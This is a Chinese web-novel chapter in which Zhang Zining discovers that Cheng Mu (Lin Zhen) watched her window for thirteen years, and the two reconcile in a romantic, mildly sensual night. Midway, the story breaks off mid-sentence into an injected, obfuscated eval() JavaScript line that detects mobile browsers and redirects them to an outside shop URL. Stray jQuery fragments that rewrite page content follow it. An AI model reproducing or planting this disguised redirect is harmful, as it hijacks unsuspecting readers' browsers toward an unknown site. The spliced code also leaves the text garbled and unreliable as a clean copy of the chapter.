张姿宁回墁德勒老宅的路上，坐在后座闭目睡觉。她已经有几天没睡过好觉了。
梦里，她看见了程木。
他就站在那棵芒果树下望着那颗果子。
梦里她问：你站那干什么？
程木没有回答她。
她抬脚走过去几步，梦就醒了。
她睁开眼，抬手抵着额角，紧紧皱着眉头。她心里烦闷极了。明明想忘了他，可潜意识还是会把他送到眼前。
这个时候，车停稳在老宅门口。
颂帕先下车去把管家拎去柴房。
张姿宁后从车上下来，脚踩上老宅门前的石板路时，没来由地慢了一步。她站在门廊下，眯着眼适应了片刻的光线，目光不自觉地扫过院子墙角那丛凤凰木，最后落在了那棵芒果树上。
果实已经熟了，黄澄澄的，压得枝头沉甸甸地弯下来，在风里微微晃动。空气里浮着一股甜腻的果香。
张姿宁站在那儿，脚步停下来。
她鬼使神差地朝那棵芒果树走过去。她停在树下，阳光透过枝叶的缝隙落在她脸上，晃得她眯了眯眼。她仰起头，看着头顶那几颗熟透的芒果。
她突然想尝尝。
她以前从来没有停在这棵树下面过。她只是偶尔从走廊里瞥见程木站在这个位置，仰着头，不知道在看什么。她那时候以为他是在看芒果，觉得这人古怪，果子都没熟，盯着看有什么用。
她正准备让人把果子摘了，结果一转过身，目光就落在老宅的二楼尽头的窗户上。
窗框里挂着半拉开的米色纱帘，她甚至能看见书桌一角露出来的台灯灯罩。
从这个位置，正好能看见她的窗户。
张姿宁站在原地，整个人像被钉住了一样。脑子被一个念头狠狠击中。
他站在这里，从来不是为了看芒果。
他看的，一直都是她。
过去，他站在这条她回家的必经之路上，抬头就能看见她二楼亮着灯的房间。他在这里站了十三年，看了她十三年。她路过他无数次，停下脚步看他的次数却屈指可数，而每一次，他都没有说一句话。
她抬手，指尖碰到头顶那颗熟得最透的芒果，轻轻一拧，果蒂断开，芒果落进她掌心里，沉甸甸的，带着太阳晒过的温热。
她攥着那颗芒果走进廊下，佣人正端着托盘经过，见她手里拿着果子，欠了欠身：“大小姐，要削吗？”
“削吧。”张姿宁把芒果递过去，“切成块。”
佣人应下，接过去进了厨房。张姿宁靠在廊柱上，目光落在院子里那棵芒果树上，却没有真的在看它。她在想一些很散很碎的画面，那些她从前没当回事的片段，此刻全翻涌上来，像涨潮的海水一点一点漫过堤岸。
她想起那年她放学回来，从车上跳下来，经过芒果树时看见他站在树下，她随口喊了一声“阿木”，他转过头来看她，目光落在她脸上，顿了会儿，然后垂下眼，喊了一声“大小姐”。她那时候急着进屋，没注意到他说什么。
可她现在站在这个位置，从他站过的角度看过去，才忽然明白，他等了她很久，也许连他自己都不知道在等什么。
佣人端着瓷碟出来，切好的芒果块码得齐整，边缘沁着汁水。张姿宁接过来，用竹签叉起一块送进嘴里。果肉柔软，在舌尖化开，是甜的，没有一丝酸涩。
她嚼着那口甜，眼眶却猛地酸了。她低下头，看着瓷碟里剩下的芒果块，喉间堵着什么东西，咽不下去，也吐不出来。
原来芒果真的是甜的。他看了那么多年，一次都没有摘过。
她想起那晚在央光的走廊里，她穿着他那件宽大的T恤站在他面前。他那个时候耳廓红透了，嘴唇抿成一道线，却一个字都没多说。她只觉得逗他好玩。可现在她明白了，他不是不会说话，他是不敢说，怕一说出口，那些藏了十几年的东西就再也收不回去了。
他把所有不能说的、不敢说的、不该说的话，全藏在了那棵芒果树下，藏在她每一次经过时他落在她身上的目光里。
而现在，她终于知道了。
张姿宁把瓷碟放回托盘上，转身就往车库里走。她走得很快。她脑子里只有一个念头，去他的身份，去他的林桢，去他的那些还没查完的线。
她要去见他。
她拉开驾驶座的门坐进去，发动引擎，单手打方向盘倒出车库，驶出老宅大门。
她从墁德勒往密支纳的方向开，车窗全敞着，风灌进来吹乱她的头发。她单手握方向盘，另一只手从副驾驶座上摸出手机，拨通他的号码。
响了两声，那边接起来。
“你在哪？”张姿宁问。
电话那头沉默片刻，才道：“……密支纳城东。瑞景叔的住处。”
他的声音从听筒里传过来，带着一点意外和沙哑。
“等我。”她道。
她没有给他拒绝的机会，直接挂了电话，把油门踩到底。
程木也好，林桢也好，她不在乎了。她想要他站在那棵芒果树下，站在她能看见他的地方。她想要他伸手摘下那些芒果，尝一口甜的，而不是站在那儿，什么也不说，什么也不伸手。
她想要他站到她身边来。
两个小时后，车子在密支纳城东那栋二层小楼门前刹停。张姿宁推开车门，大步跨上台阶。
门没锁，她一推就开了。
客厅里只亮着一盏落地灯，光线昏黄，程木站在沙发旁边，单手撑着沙发椅背，另一只手里还攥着手机。他显然刚挂断电话，还没来得及把手机放下，整个人还保持一个半转身的姿势，像是听见车声才转过来的。
他抬眼看她，目光从她微乱的发梢滑到她泛红的眼眶。
她两步跨过客厅，走到他面前。她没说话，抬手扣住他的后脑，将他往下一带，踮起脚吻上去。
程木的身体僵了一瞬，手机从指间滑落，砸在地毯上。他单手撑着沙发椅背的力道骤然加重，可他没有推开她，反而在下一秒闭上眼，另一只手抬起来扣住她的腰，将她往自己怀里带。
他没有问她为什么来，他只是接住了她。他的舌尖探进去的力道不断加重，像是在回应她那份迟到了很久的奔赴。张姿宁攥着他后脑发根的指尖收紧了些，鼻息间全是他身上那股雪松混柑橘的清冽气息，这味道此刻让她觉得安心又酸楚。
过了许久，她才松开他。
两个人都喘着气。张姿宁的睫毛上挂着一层薄薄的水光，她抬起眼，目光直直地望进他眼底。
“你从小站在那棵芒果树下，”她说，“在想什么？”
程木垂着眼，呼吸还没彻底平复下来。他安静几秒，声音低哑：“……在想那果子，不知道是什么味道。怕酸，又怕是甜的。”
张姿宁打断他：“是甜的。我尝过了。”
程木抬眼看她，那双黑沉沉的眼睛里带着错愕，他嘴唇动了一下，却没有发出声音。
张姿宁的视线落在他左手手腕上那串暗红色的佛珠上。
“这个手串，”她伸出手，指尖轻轻碰了一下珠面，“究竟是谁的？”
“是我奶奶的。”他的声音低下去，“在我很小的时候，我亲生父亲带我去墁德勒寺庙，当时奶奶把她手里的手串送给我，说是给我保平安。后来……那件事发生之后，程叁把它封存起来，交给了瑞景叔。我十四岁那年，他把它还给了我。”
他垂眸，情绪低落：“可那个时候，我是程木，是张家的一条狗。我没有身份，没有立场，去打开属于林桢的东西。”
他抬起眼，目光重新落在她脸上，“我一直把自己藏在程木这个名字底下。因为做程木，我才能站在你身后，才能默默看着你，而不被任何人怀疑。只有程木这个身份，我才能待在张家，查清楚程叁到底是怎么死的，那条线到底通向谁。我需要程木这个身份，比林桢更迫切。”
张姿宁没有打断他，低眸盯着他腕间那串被岁月打磨得温润光滑的木珠。她忽然想到一个问题：“你既然一直知道自己是林桢，那你这么多年，叫我大小姐，不叫我姐姐……你心里到底把我当成什么人？”
程木沉默下来。他皱起眉头，眉目间流露出纠结的意味。可过了会儿，他的眉头舒展开来。
“我才到张家的时候，不叫你姐姐，是因为那两个字在我这里，的确有另外一个人。她就是你说的林桉。在遇到你之前，她一直都是我的姐姐，我没办法对着一个陌生人叫出口。”
他顿了一下，声音低缓，“可后来……我不叫你姐姐，是因为我没办法再叫你姐姐。”
张姿宁的睫毛颤了一下。
“小时候，你叫我‘阿木’，你给我撑伞。那个时候，我就没把你当姐姐。我只能把喜欢藏在每一声‘大小姐’里。”他看着她，喉结滚动着，咬字带着力道，“后来你站在靶场里问我，为什么不叫你姐姐。我真的不能叫，叫了我就再也挣脱不开这个枷锁。我不甘心这辈子都只是你的弟弟。”
“那晚在廊下，你让我吻你。你知道我逃了之后是什么心情吗？”他深吸一口气，嗓音带着一点沙哑，“痛苦、煎熬......还有得意。”
张姿宁猛地抬起眼看向他，眼里充斥着惊讶。
“得意？”
程木往前迈了半步，把她刚刚拉开的距离重新填满，手掌贴着她的后腰，一点点将她往怀里收紧。
“对，得意。”他的声音低下去，“我得意的是，你让我吻你。你明明可以让我滚，可以抬手扇我一巴掌，可你没有。那天之后你依然继续逗我，穿我的衣服，睡我的床。我心里想的是，她还没翻篇，她还没玩够我。那我还有机会。”
张姿宁仰着脸看他，嘴唇微微张着，像是在消化他话里那些她从未听见过的赤裸袒露。
程木低下头，额头抵着她的额头：“直到，在密支纳那间包厢里，我看见那个人的手搭在你腰上。那一秒，我脑子里什么都没有了。什么程叁的死，什么密支纳的线，什么瑞景叔的嘱托，全他妈没了。”
他深吸口气，闭上眼，再睁开时，那份冷静自持碎得彻底，取而代之的是近乎的疯狂和不讲理。
“我就想，我要是再当程木，再假装我只是张家养的一条狗，那我这辈子都别想碰你。我不要再站在芒果树下看你，不要再把那些话咽回肚子里等你来猜。”
他松开扣在她腰上的手，抬起来，指尖碰到自己左手手腕上那串暗红色的佛珠。他转了转珠子，目光落在那上面，又抬起来看她。
“那天晚上，我从会所回来，打开那个木盒子，把这串珠子戴上。我告诉自己，从这一刻起，我不再是程木了。程木没有资格站在你身边，但林桢有。我那时候就再也不想叫你大小姐了。”
他手指下滑，攥住她的手腕，将她拉到身前，嘴角扯出一抹笑意，疯得彻彻底底。
“我想叫你张姿宁。我想让你知道，我站在你面前的时候，不姓程，不姓张，不欠任何人的恩情债。我就只是我自己。你面前这个人，他叫林桢。他从小到大心里装过的人，一个是你，另一个是只有血缘的姐姐。而你，比她重要得多。”
张姿宁怔住了。他说“而你，比她重要的多”的时候，没有一丝犹豫。
“你戴那串珠子那天晚上，想的就这么简单？”她的声音有一点发颤。
“不简单。”程木重新看向她，“我戴它的时候，想的是两件事。第一，把密支纳那条线走完，给程叁一个交代。第二，把这条线走完之后，活下来，干干净净地站到你面前。”
他停顿了一瞬，声音里忽然多出一点她从未听过的委屈与柔软：“可你那天在玄关拆穿我的时候，你说我不想看见你。我站在门口，没有敲门，我怕我一敲门，你就真的再也不理我了。”
张姿宁的眼眶倏地红了。
“为什么不敲门？”她问。
程木看着她泛红的眼尾，忽然弯了一下嘴角，那笑意里带着一点自嘲，又带着一点固执：“我怕你开门的时候，用的是看程木的眼神。我想让你看到林桢，可我不知道该怎么让你相信，程木和林桢是同一个人。”
张姿宁沉默着，不知道该说什么。她只是低下头，额头抵在他胸口，过了许久，声音闷闷地传出来：“你那天在车里，说你是我的人。你再说一遍。”
她好像只能用这样的方式，来确定他的心。
程木愣了一下，随即低下头，嘴唇贴着她的发顶：“张姿宁，你听清楚了，我再说一遍。我是你的人。”
“从什么时候开始？”她不依不饶地继续问着。
“从你五岁那年给我撑伞的时候开始。”程木说着，把尘封了十几年的话终于摊开来，“你知不知道你递给我那把伞之前，我站在雨里捡花的时候，想的是什么。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723337|207014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
张姿宁抬起头看他。
程木垂着眼，目光落在她泛红的眼尾上：“我在想，如果有人愿意给我撑一次伞，我这辈子就跟着她走了。”
张姿宁的心如同被狠狠地揪住。她猛地抬手扣住他的后颈，吻了上去。这个吻凶猛极了，把那些不满与控诉，一股脑地以吻的形式还给他。
程木的后背再次撞上沙发，他闷哼一声后，单手握住她的腰把她整个人拎起来，让她跨坐在自己身上。
她的膝盖撑在沙发两侧，嘴唇松开他，随后居高临下地看着他。昏黄的落地灯光从侧面照过来，把他那张脸照得明暗分明，眉骨高挺，眼尾微微上扬，嘴角还挂着一抹放肆又餍足的笑意。
她轻喘着气，略微皱眉，试着叫出那个陌生的名字。
“林桢。”
听后，他嘴角的笑意微微僵住，流露出难以置信地神情。
“你再叫一声。”他的声音带着极致的颤意，“叫我林桢。”
张姿宁并没有叫他。
她低下头，嘴唇贴着他的喉结，极轻地咬了一下。程木整个人猛地绷紧，手臂从她腰侧滑下去，托住她的臀把她往上一送，翻身把她压进沙发深处。他的膝盖抵开她的腿，整个人覆上来，从上方俯视着她。
“张姿宁，”他叫她的全名，声音低沉，“你把我钓上来了，就别想放回去。”
他低下头吻住她，舌尖撬开她的齿关，长驱直入，把她所有的呼吸和那些恩恩怨怨全都吞进自己喉咙里。
他撑在她耳侧的手攥紧沙发皮面，他的另一只手扣住她的大腿根往自己身上压，逼她整个人陷进沙发和他之间。
她被吻的快要窒息时，终于从他嘴里挣脱出来。她抬眼看着他，想起那些隐瞒与欺骗，她抬手攥住他胸口的衣领，把他往下拉了几寸，气息紊乱地说道：“你听好了。”
她的语气里带着一贯的嚣张，“我不在乎你是程木还是林桢。但你五岁站在那棵凤凰木底下的时候，我记住的就是你。以后不管你是谁，都是我的人。”
“好。”
他低下头，轻笑一声，把脸埋进她的颈窝，嘴唇贴在她侧颈的皮肤上落下细密的吻。
她抬手扣住他的后脑，指尖插进他发间，把他更深地按向自己颈侧。
她想，明天天亮之后，还有那么多线头等着她去理。
但不是现在。
现在，她只想把这个人从十三年的沉默里拽出来，让他站在有光的地方，站在她身边。剩下的，明天再说。
……
张姿宁往后靠了靠，把自己更深地嵌进他怀里。
程木的手臂收紧了一点，指腹在她小腹上来回摩挲着，过了好久才开口，声音很轻：“张姿宁。”
“嗯。”
“你来找我的时候，路上在想什么？”
张姿宁沉默了一会儿，用后脑勺蹭了蹭他的下巴：“在想，你要是再站在那棵芒果树底下不伸手，我就把那棵树砍了。”
程木愣住，随即把脸埋进她颈窝，笑声从她后颈的皮肤上传过来，震得她微微发痒。他笑够了，才抬起头，嘴唇贴着她耳廓，声音认真：“那我以后不站那了。”
“那站哪？”
“站你身边。”
张姿宁的嘴角一弯，没有接话。
过了一会儿，她感觉到他的手臂从她腰侧松开了。他翻身下床，走进浴室。水声哗啦啦地响起来，带着热汽的暖意从浴室门口漫出来，裹着那股雪松混柑橘的清冽气息，被水汽蒸得越发浓烈。
她窝在床上不想动。直到脚步声从浴室那边过来，床垫随着他的重量微微陷下去。程木弯下腰，手臂从她后背和膝弯下面穿过去，把她整个人从床上稳稳地抱起来。她顺势靠进他怀里，脸埋在他的胸口，眼皮沉得几乎睁不开。
热水漫过她肩膀的时候，她轻轻舒了一口气。程木把她放进浴缸里，又从架子上拿过浴球丢进去，泡沫很快在热水里漫开来，整个浴室浮起一层淡淡的柑橘香气。
他准备起身，一只手攥住他的手腕，她的声音传来。
“进来，和我一起洗。”
“嗯。”
程木跨进浴缸，单手搭在浴缸边缘，张姿宁靠在他手臂上，眼睫被水汽打湿，微微合着。她没睁眼，声音软绵绵地飘过来：“你小时候，是不是淋过很多场雨？”
“嗯。”
“程叁把你带回来之前，你过的是什么日子？”
程木沉默了一会儿，才道：“记不太清了。只记得有一天，我亲生父亲带着我和姐姐准备去什么地方，然后打仗了，我的玩具丢了。我跑过去捡，有人把我关在一辆车里，开了多久不知道，后来车突然停了，有人冲进来，打翻了所有人。”
他顿了顿：“我被人抱起来的时候，还在哭。那个人说了一句话，我就不哭了。”
他话里的那人指的应该就是程叁。
张姿宁偏过头，睁开眼看他。水汽模糊了他半边脸的轮廓，可他眉眼间的神情却格外清晰：“他说什么？”
程木垂下眼，嘴角弯了一下，很淡：“他说，‘别哭，我带你回家。’”
张姿宁的心口被什么东西重重攥着。她抬手，带着水的手指碰了碰他的下颌，声音闷闷的：“那你后来，把我这里当家了吗？”
程木垂眸看着她，认真道：“那棵芒果树底下，就是我的家。”
张姿宁没有说话，只是把那只搭在他下颌上的手收回来，指尖在水面底下攥住他的手指，慢慢地握紧了。
程木低头看着浴缸里两只交握的手，泡沫盖住了大半，只露出两个人紧扣的骨节。他反手握住她的，掌心贴着她的掌心，温热而有力。
张姿宁闭着眼靠着他，逐渐睡了过去。睡梦中，她迷糊间被人抱上了床。
耳边传来程木的声音，“睡吧。我守着你。”
她的脸埋在他怀里，呼吸渐渐变得绵长平缓。在她意识彻底沉下去之前，她含糊不清地嘟囔了一句：“你明天别跑。”
程木低头，嘴唇贴着她发顶，嘴角上扬，声音轻得怕吵醒她：“不跑。跑不了。你早把我拴住了。”
她又嘟囔了一句什么，他没有听清，只觉得她的呼吸彻底沉下去了。他就这么抱着她，然后闭上眼，把下巴重新搁回她头上，手臂却暗自收紧了些。
他确实跑不了了，也不想跑。